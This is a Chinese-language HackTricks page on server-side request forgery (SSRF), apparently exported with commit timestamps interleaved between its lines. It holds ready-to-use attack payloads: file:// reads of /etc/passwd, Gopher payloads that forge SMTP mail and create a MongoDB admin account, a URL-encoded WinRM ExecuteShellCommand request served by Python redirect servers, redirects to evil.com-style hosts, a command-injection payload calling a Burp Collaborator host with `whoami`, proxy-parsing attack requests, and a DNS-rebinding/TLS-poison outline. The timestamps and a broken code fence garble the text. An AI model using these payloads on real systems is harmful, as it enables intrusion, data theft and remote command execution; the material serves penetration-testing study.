2024-02-05 20:18:17 +00:00
# SSRF( 服务器端请求伪造)
2022-04-28 16:01:33 +00:00
2024-03-17 16:19:28 +00:00
< figure > < img src = "../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-09-01 23:40:55 +00:00
2024-02-05 20:18:17 +00:00
\
2024-03-25 01:49:14 +00:00
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks)轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
2023-08-03 19:12:22 +00:00
立即获取访问权限:
2022-09-01 23:40:55 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
< details >
2024-03-25 01:49:14 +00:00
< summary > < strong > 从零开始学习AWS黑客技术, 成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < / a > < strong > ! < / strong > < / summary >
2024-01-01 18:40:45 +00:00
2024-03-25 01:49:14 +00:00
支持HackTricks的其他方式:
2022-04-28 16:01:33 +00:00
2024-03-25 01:49:14 +00:00
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群** ](https://t.me/peass ) 或在**Twitter**上关注我们 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >
2024-02-05 20:18:17 +00:00
## 基本信息
2024-03-25 01:49:14 +00:00
**服务器端请求伪造( SSRF) **漏洞发生在攻击者操纵**服务器端应用程序**以向其选择的域发出**HTTP请求**时。此漏洞使服务器暴露于攻击者指定的任意外部请求。
2024-02-05 20:18:17 +00:00
2024-03-25 01:49:14 +00:00
## 捕获SSRF
2022-02-13 12:30:13 +00:00
2024-03-25 01:49:14 +00:00
首先, 您需要捕获由您生成的SSRF交互。您可以使用工具捕获HTTP或DNS交互, 例如:
2022-02-13 12:30:13 +00:00
2024-02-05 20:18:17 +00:00
* **Burp Collaborator**
2022-02-13 12:30:13 +00:00
* [**pingb** ](http://pingb.in )
2022-09-01 23:40:55 +00:00
* [**canarytokens** ](https://canarytokens.org/generate )
2022-04-05 22:24:52 +00:00
* [**interractsh** ](https://github.com/projectdiscovery/interactsh )
* [**http://webhook.site** ](http://webhook.site )
* [**https://github.com/teknogeek/ssrf-sheriff** ](https://github.com/teknogeek/ssrf-sheriff )
2024-02-05 20:18:17 +00:00
* [http://requestrepo.com/ ](http://requestrepo.com/ )
* [https://github.com/stolenusername/cowitness ](https://github.com/stolenusername/cowitness )
2024-03-25 01:49:14 +00:00
* [https://github.com/dwisiswant0/ngocok ](https://github.com/dwisiswant0/ngocok ) - 使用ngrok的Burp Collaborator
2022-02-13 12:30:13 +00:00
2024-01-01 18:40:45 +00:00
## 绕过白名单域
2022-02-13 12:30:13 +00:00
2024-03-25 01:49:14 +00:00
通常, 您会发现SSRF仅在**特定的白名单域**或URL中起作用。在以下页面中, 您可以找到**绕过该白名单**的技术汇编:
2022-02-13 12:30:13 +00:00
{% content-ref url="url-format-bypass.md" %}
[url-format-bypass.md ](url-format-bypass.md )
{% endcontent-ref %}
2023-08-03 19:12:22 +00:00
### 通过开放重定向绕过
2022-02-13 12:30:13 +00:00
2024-03-25 01:49:14 +00:00
如果服务器受到正确保护,您可以通过利用网页内的开放重定向来**绕过所有限制**。因为网页将允许**对同一域的SSRF**,并且可能会**跟随重定向**,您可以利用**开放重定向**使服务器访问内部任何资源。\
阅读更多信息:[https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
2022-02-13 12:30:13 +00:00
2023-08-03 19:12:22 +00:00
## 协议
2022-04-29 15:47:17 +00:00
2024-03-16 10:05:11 +00:00
* **file://**
2024-03-25 01:49:14 +00:00
* URL方案`file://`指向`/etc/passwd`: `file:///etc/passwd`
2024-03-16 10:05:11 +00:00
* **dict://**
2024-03-25 01:49:14 +00:00
* DICT URL方案用于通过DICT协议访问定义或单词列表。给出的示例说明了构建的URL针对特定单词、数据库和条目编号, 以及可能被滥用以使用攻击者提供的凭据连接到DICT服务器的PHP脚本的实例: `dict://< generic_user > ;< auth > @< generic_host > :< port > /d:< word > :< database > :< n > `
2024-03-16 10:05:11 +00:00
* **SFTP://**
2024-03-25 01:49:14 +00:00
* 作为安全文件传输协议的协议, 提供了一个示例, 展示了如何利用PHP脚本连接到恶意SFTP服务器: `url=sftp://generic.com:11111/`
2024-03-16 10:05:11 +00:00
* **TFTP://**
2024-03-25 01:49:14 +00:00
* 提到了通过UDP运行的Trivial File Transfer Protocol, 并提供了一个设计用于向TFTP服务器发送请求的PHP脚本示例。向'generic.com'的端口'12346'发送对文件'TESTUDPPACKET'的TFTP请求: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
2024-03-16 10:05:11 +00:00
* **LDAP://**
2024-03-25 01:49:14 +00:00
* 本部分涵盖了轻量级目录访问协议, 强调其用于管理和访问分布式目录信息服务的IP网络。通过ssrf.php?url=ldap://localhost:11211/%0astats%0aquit与本地主机上的LDAP服务器进行交互。
2024-03-16 10:05:11 +00:00
* **SMTP**
2024-03-25 01:49:14 +00:00
* 描述了利用SSRF漏洞与本地主机上的SMTP服务进行交互的方法, 包括揭示内部域名并基于该信息采取进一步调查行动的步骤。
2022-02-13 12:30:13 +00:00
```
2024-02-06 03:43:18 +00:00
From https://twitter.com/har1sec/status/1182255952055164929
2024-02-05 20:18:17 +00:00
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
2022-02-13 12:30:13 +00:00
```
2024-03-16 10:05:11 +00:00
* **Curl URL globbing - WAF bypass**
* 如果 SSRF 是由 **curl** 执行的, curl 有一个称为 [**URL globbing** ](https://everything.curl.dev/cmdline/globbing ) 的功能,可以用来绕过 WAF。例如, 在这个 [**writeup** ](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi ) 中,你可以找到一个关于通过 `file` 协议进行 **路径遍历** 的示例:
2022-02-13 12:30:13 +00:00
```
2024-02-05 20:18:17 +00:00
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
2022-02-13 12:30:13 +00:00
```
2024-03-16 10:05:11 +00:00
* **Gopher://**
2024-03-25 01:49:14 +00:00
* 讨论了Gopher协议指定IP、端口和字节进行服务器通信的能力, 以及类似Gopherus和remote-method-guesser这样的工具用于构建有效载荷。展示了两种不同的用途:
2024-02-05 20:18:17 +00:00
2022-09-01 23:40:55 +00:00
### Gopher://
2022-02-13 12:30:13 +00:00
2024-03-25 01:49:14 +00:00
使用该协议,您可以指定要**发送**给服务器的**IP、端口和字节**。然后, 您基本上可以利用SSRF与**任何TCP服务器通信**(但首先需要了解如何与该服务通信)。\
幸运的是,您可以使用[Gopherus](https://github.com/tarunkant/Gopherus)为多个服务创建有效载荷。此外,[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)可用于为Java RMI服务创建_gopher_有效载荷。
2022-02-13 12:30:13 +00:00
2022-04-29 15:47:17 +00:00
**Gopher smtp**
2022-02-13 12:30:13 +00:00
```
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:< hacker @ site . com >
RCPT TO:< victim @ site . com >
DATA
From: [Hacker] < hacker @ site . com >
To: < victime @ site . com >
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
```
2024-02-05 20:18:17 +00:00
**Gopher HTTP**
2024-03-25 01:49:14 +00:00
**Gopher HTTP** 是一种利用 Gopher 协议进行 SSRF 攻击的技术。在进行 SSRF 攻击时,攻击者可以构造恶意请求,使目标服务器通过 Gopher 协议访问恶意控制的 Gopher 服务器,从而实现攻击。
2022-02-13 12:30:13 +00:00
```bash
#For new lines you can use %0A, %0D%0A
gopher://< server > :8080/_GET / HTTP/1.0%0A%0A
gopher://< server > :8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
```
2024-02-05 20:18:17 +00:00
**Gopher SMTP — 反向连接到1337**
2022-02-13 12:30:13 +00:00
{% code title="redirect.php" %}
```php
< ?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```
2024-03-25 01:49:14 +00:00
{% endcode %}
2024-03-16 10:05:11 +00:00
#### Gopher MongoDB -- 使用用户名为admin、密码为admin123且权限为管理员创建用户
```bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
```
2024-03-25 01:49:14 +00:00
## 通过Referrer头部和其他方式进行SSRF攻击
2023-03-05 15:13:44 +00:00
2024-03-25 01:49:14 +00:00
服务器上的分析软件通常记录Referrer头部以跟踪传入链接, 这种做法无意中使应用程序暴露于服务器端请求伪造( SSRF) 漏洞。这是因为这种软件可能访问Referrer头部中提到的外部URL来分析引荐站点内容。为了发现这些漏洞, 建议使用Burp Suite插件“**Collaborator Everywhere**”, 利用分析工具处理Referer头部的方式来识别潜在的SSRF攻击面。
2023-01-11 11:28:05 +00:00
2024-03-25 01:49:14 +00:00
## 通过证书中的SNI数据进行SSRF攻击
2023-01-11 11:28:05 +00:00
2024-03-25 01:49:14 +00:00
通过一个示例Nginx配置展示了一种可能使连接到任何后端变得简单的错误配置:
2024-02-06 03:43:18 +00:00
```
2023-01-11 11:28:05 +00:00
stream {
2023-08-03 19:12:22 +00:00
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
2023-01-11 11:28:05 +00:00
}
```
2024-03-25 01:49:14 +00:00
在这个配置中, 来自服务器名称指示( SNI) 字段的值直接被用作后端地址。这种设置暴露了服务器端请求伪造( SSRF) 的漏洞, 可以通过在SNI字段中简单地指定所需的IP地址或域名来利用。下面是一个利用示例, 使用`openssl`命令强制连接到任意后端,比如`internal.host.com`:
2023-01-11 11:28:05 +00:00
```bash
2024-02-06 03:43:18 +00:00
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
2023-01-11 11:28:05 +00:00
```
2024-03-25 01:49:14 +00:00
## [Wget文件上传](../file-upload/#wget-file-upload-ssrf-trick)
2023-01-11 11:28:05 +00:00
2024-03-17 16:19:28 +00:00
## SSRF与命令注入
2023-01-11 11:28:05 +00:00
2024-03-25 01:49:14 +00:00
值得尝试的有效载荷可能是:`` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
2022-02-13 12:30:13 +00:00
2024-03-17 16:19:28 +00:00
## PDF渲染
2022-02-13 12:30:13 +00:00
2024-03-25 01:49:14 +00:00
如果网页自动创建了包含您提供信息的PDF, 您可以**插入一些JS代码, 这些代码将由PDF创建者本身( 服务器) 执行**, 从而在创建PDF时滥用SSRF。[**在此处查找更多信息**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
2022-02-13 12:30:13 +00:00
2024-03-17 16:19:28 +00:00
## 从SSRF到DoS
2022-02-13 12:30:13 +00:00
2024-03-17 16:19:28 +00:00
创建多个会话并尝试从会话中利用SSRF下载大文件。
2022-02-13 12:30:13 +00:00
2024-03-17 16:19:28 +00:00
## SSRF PHP函数
2023-01-22 18:27:01 +00:00
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
[php-ssrf.md ](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md )
{% endcontent-ref %}
2024-03-17 16:19:28 +00:00
## SSRF重定向到Gopher
2022-02-13 12:30:13 +00:00
2024-03-17 16:19:28 +00:00
对于某些利用,您可能需要**发送重定向响应**( 可能使用不同的协议, 如gopher) 。这里有不同的Python代码用于响应重定向:
2022-02-13 12:30:13 +00:00
```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
2023-08-03 19:12:22 +00:00
def do_GET(self):
print("GET")
self.send_response(301)
2024-03-16 10:05:11 +00:00
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
2024-03-17 16:19:28 +00:00
```python
2023-08-03 19:12:22 +00:00
self.end_headers()
2022-02-13 12:30:13 +00:00
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
```
```python
from flask import Flask, redirect
from urllib.parse import quote
2023-08-03 19:12:22 +00:00
app = Flask(__name__)
@app .route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
2022-02-13 12:30:13 +00:00
2023-08-03 19:12:22 +00:00
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
```
2024-03-17 16:19:28 +00:00
< figure > < img src = "../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-09-01 23:40:55 +00:00
2023-12-25 17:59:09 +00:00
\
2024-03-25 01:49:14 +00:00
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks)可以轻松构建和**自动化工作流**,利用世界上**最先进**的社区工具。\
2023-08-03 19:12:22 +00:00
立即获取访问权限:
2022-09-01 23:40:55 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2024-03-25 01:49:14 +00:00
## 配置错误的代理到SSRF
来自[**这篇文章**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)的技巧。
### Flask
< details >
< summary > Flask代理易受攻击的代码< / summary >
```python
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com'
@app .route('/', defaults={'path': ''})
@app .route('/< path:path > ')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
if __name__ == "__main__":
app.run(threaded=False)
```
< / details >
Flask允许使用**`@`**作为初始字符,这允许将**初始主机名作为用户名**并注入一个新的。攻击请求:
```http
GET @evildomain .com/ HTTP/1.1
Host: target.com
Connection: close
```
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
**易受攻击的代码:**
< figure > < img src = "../../.gitbook/assets/image (729).png" alt = "" > < figcaption > < / figcaption > < / figure >
发现可以通过在请求路径的开头使用字符 ** `;` **,然后使用 ** `@` ** 注入新主机以访问。攻击请求:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
### PHP内置Web服务器 <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
< details >
< summary > 受漏洞影响的PHP代码< / summary >
```php
< ?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];
$proxy_site = $site.$current_uri;
var_dump($proxy_site);
echo "\n\n";
$response = file_get_contents($proxy_site);
var_dump($response);
?>
```
< / details >
PHP允许在URL路径中的斜杠前使用**字符`*`**,但它有其他限制,比如它只能用于根路径`/`,并且在第一个斜杠之前不允许使用点`.`, 因此需要使用无点十六进制编码的IP地址, 例如:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
```
2024-03-16 10:05:11 +00:00
## DNS Rebinding CORS/SOP绕过
2022-04-29 15:47:17 +00:00
2024-03-25 01:49:14 +00:00
如果由于CORS/SOP而无法从本地IP中窃取内容, 可以使用DNS Rebinding来绕过这种限制:
2022-04-29 15:47:17 +00:00
{% content-ref url="../cors-bypass.md" %}
[cors-bypass.md ](../cors-bypass.md )
{% endcontent-ref %}
2024-03-16 10:05:11 +00:00
### 自动化DNS Rebinding
2022-04-29 15:51:30 +00:00
2024-03-25 01:49:14 +00:00
[**`Singularity of Origin`** ](https://github.com/nccgroup/singularity )是一个执行[DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding)攻击的工具。它包括重新绑定攻击服务器DNS名称的IP地址到目标机器的IP地址以及提供攻击载荷以利用目标机器上的易受攻击软件所需的组件。
2022-04-29 15:51:30 +00:00
2024-03-17 16:19:28 +00:00
还可以查看在[**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)上公开运行的服务器
2022-04-29 15:51:30 +00:00
2024-03-25 01:49:14 +00:00
## DNS Rebinding + TLS会话ID/会话票据
2022-02-13 12:30:13 +00:00
2023-08-03 19:12:22 +00:00
要求:
2022-02-13 12:30:13 +00:00
* **SSRF**
2024-03-16 10:05:11 +00:00
* **出站TLS会话**
2023-08-03 19:12:22 +00:00
* **本地端口上的内容**
2022-02-13 12:30:13 +00:00
2023-12-25 17:59:09 +00:00
攻击:
2022-02-13 12:30:13 +00:00
2024-03-25 01:49:14 +00:00
1. 要求用户/机器人访问由攻击者控制的**域**
2024-03-17 16:19:28 +00:00
2. **DNS**的**TTL**为**0**秒( 因此受害者将很快再次检查域的IP)
2024-03-25 01:49:14 +00:00
3. 在受害者和攻击者域之间创建了**TLS连接**。攻击者在**会话ID或会话票据**中引入了**载荷**。
4. **域**将对**自己**启动**无限重定向循环** 。这样做的目的是使用户/机器人访问该域,直到再次执行**域的DNS请求**。
5. 在DNS请求中, 现在提供了一个**私有IP**地址( 例如127.0.0.1)
6. 用户/机器人将尝试**重新建立TLS连接**,为此将**发送****会话**ID/票据ID( 其中包含攻击者的**载荷**)。恭喜,您成功要求**用户/机器人攻击自己**。
2022-02-13 12:30:13 +00:00
2024-03-17 16:19:28 +00:00
请注意, 在此攻击期间, 如果要攻击localhost:11211( _memcache_) , 则需要使受害者与www.attacker.com:11211( **端口必须始终相同**)建立初始连接。\
2024-03-25 01:49:14 +00:00
要**执行此攻击,可以使用工具**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
2024-02-05 20:18:17 +00:00
要了解更多信息,请查看解释此攻击的讲座:[https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
2022-02-13 12:30:13 +00:00
2024-03-16 10:05:11 +00:00
## 盲SSRF
2022-02-13 12:30:13 +00:00
2024-03-17 16:19:28 +00:00
盲SSRF与非盲SSRF的区别在于在盲SSRF中您无法看到SSRF请求的响应。因此, 要利用它会更加困难, 因为您只能利用已知的漏洞。
2022-02-13 12:30:13 +00:00
2024-03-16 10:05:11 +00:00
### 基于时间的SSRF
2022-02-13 12:30:13 +00:00
2024-03-17 16:19:28 +00:00
通过检查服务器响应的时间,可能可以知道资源是否存在(访问现有资源可能比访问不存在的资源需要更多时间)
2022-02-13 12:30:13 +00:00
2024-03-16 10:05:11 +00:00
## 云SSRF利用
2022-02-13 12:30:13 +00:00
2024-03-25 01:49:14 +00:00
如果在云环境中运行的机器中发现了SSRF漏洞, 您可能能够获取有关云环境甚至凭据的有趣信息:
2022-02-13 12:30:13 +00:00
{% content-ref url="cloud-ssrf.md" %}
[cloud-ssrf.md ](cloud-ssrf.md )
{% endcontent-ref %}
2024-03-16 10:05:11 +00:00
## SSRF易受攻击平台
2022-02-13 12:30:13 +00:00
2024-03-25 01:49:14 +00:00
一些已知平台包含或曾包含SSRF漏洞, 请在以下位置检查:
2022-02-13 12:30:13 +00:00
{% content-ref url="ssrf-vulnerable-platforms.md" %}
[ssrf-vulnerable-platforms.md ](ssrf-vulnerable-platforms.md )
{% endcontent-ref %}
2023-08-03 19:12:22 +00:00
## 工具
2022-02-13 12:30:13 +00:00
2022-09-01 23:40:55 +00:00
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
2022-02-13 12:30:13 +00:00
2024-03-16 10:05:11 +00:00
用于检测和利用SSRF漏洞的工具
2022-02-13 12:30:13 +00:00
2022-09-01 23:40:55 +00:00
### [Gopherus](https://github.com/tarunkant/Gopherus)
2022-02-13 12:30:13 +00:00
2024-03-16 10:05:11 +00:00
* [Gopherus的博客文章 ](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/ )
2022-02-13 12:30:13 +00:00
2024-03-25 01:49:14 +00:00
该工具为以下生成Gopher载荷:
2022-02-13 12:30:13 +00:00
* MySQL
* PostgreSQL
* FastCGI
* Redis
* Zabbix
* Memcache
2022-09-01 23:40:55 +00:00
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
2022-02-13 12:30:13 +00:00
2024-03-16 10:05:11 +00:00
* [关于SSRF用法的博客文章 ](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/ )
2022-02-13 12:30:13 +00:00
2024-03-25 01:49:14 +00:00
_remote-method-guesser_是一个支持大多数常见_Java RMI_漏洞的攻击操作的_Java RMI_漏洞扫描程序。大多数可用操作都支持`--ssrf`选项, 以为请求的操作生成一个_SSRF_载荷。结合`--gopher`选项, 可以直接生成可用的_gopher_载荷。
2022-02-13 12:30:13 +00:00
2024-03-25 01:49:14 +00:00
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
2022-02-13 12:30:13 +00:00
2024-03-25 01:49:14 +00:00
SSRF Proxy是一个多线程HTTP代理服务器, 旨在通过对Server-Side Request Forgery (SSRF)漏洞敏感的HTTP服务器来传输客户端HTTP流量。
2022-02-13 12:30:13 +00:00
2023-08-03 19:12:22 +00:00
### 练习
2022-02-13 12:30:13 +00:00
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
2024-03-17 16:19:28 +00:00
## 参考资料
2022-02-13 12:30:13 +00:00
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4 ](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4 )
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery )
2023-01-11 11:28:05 +00:00
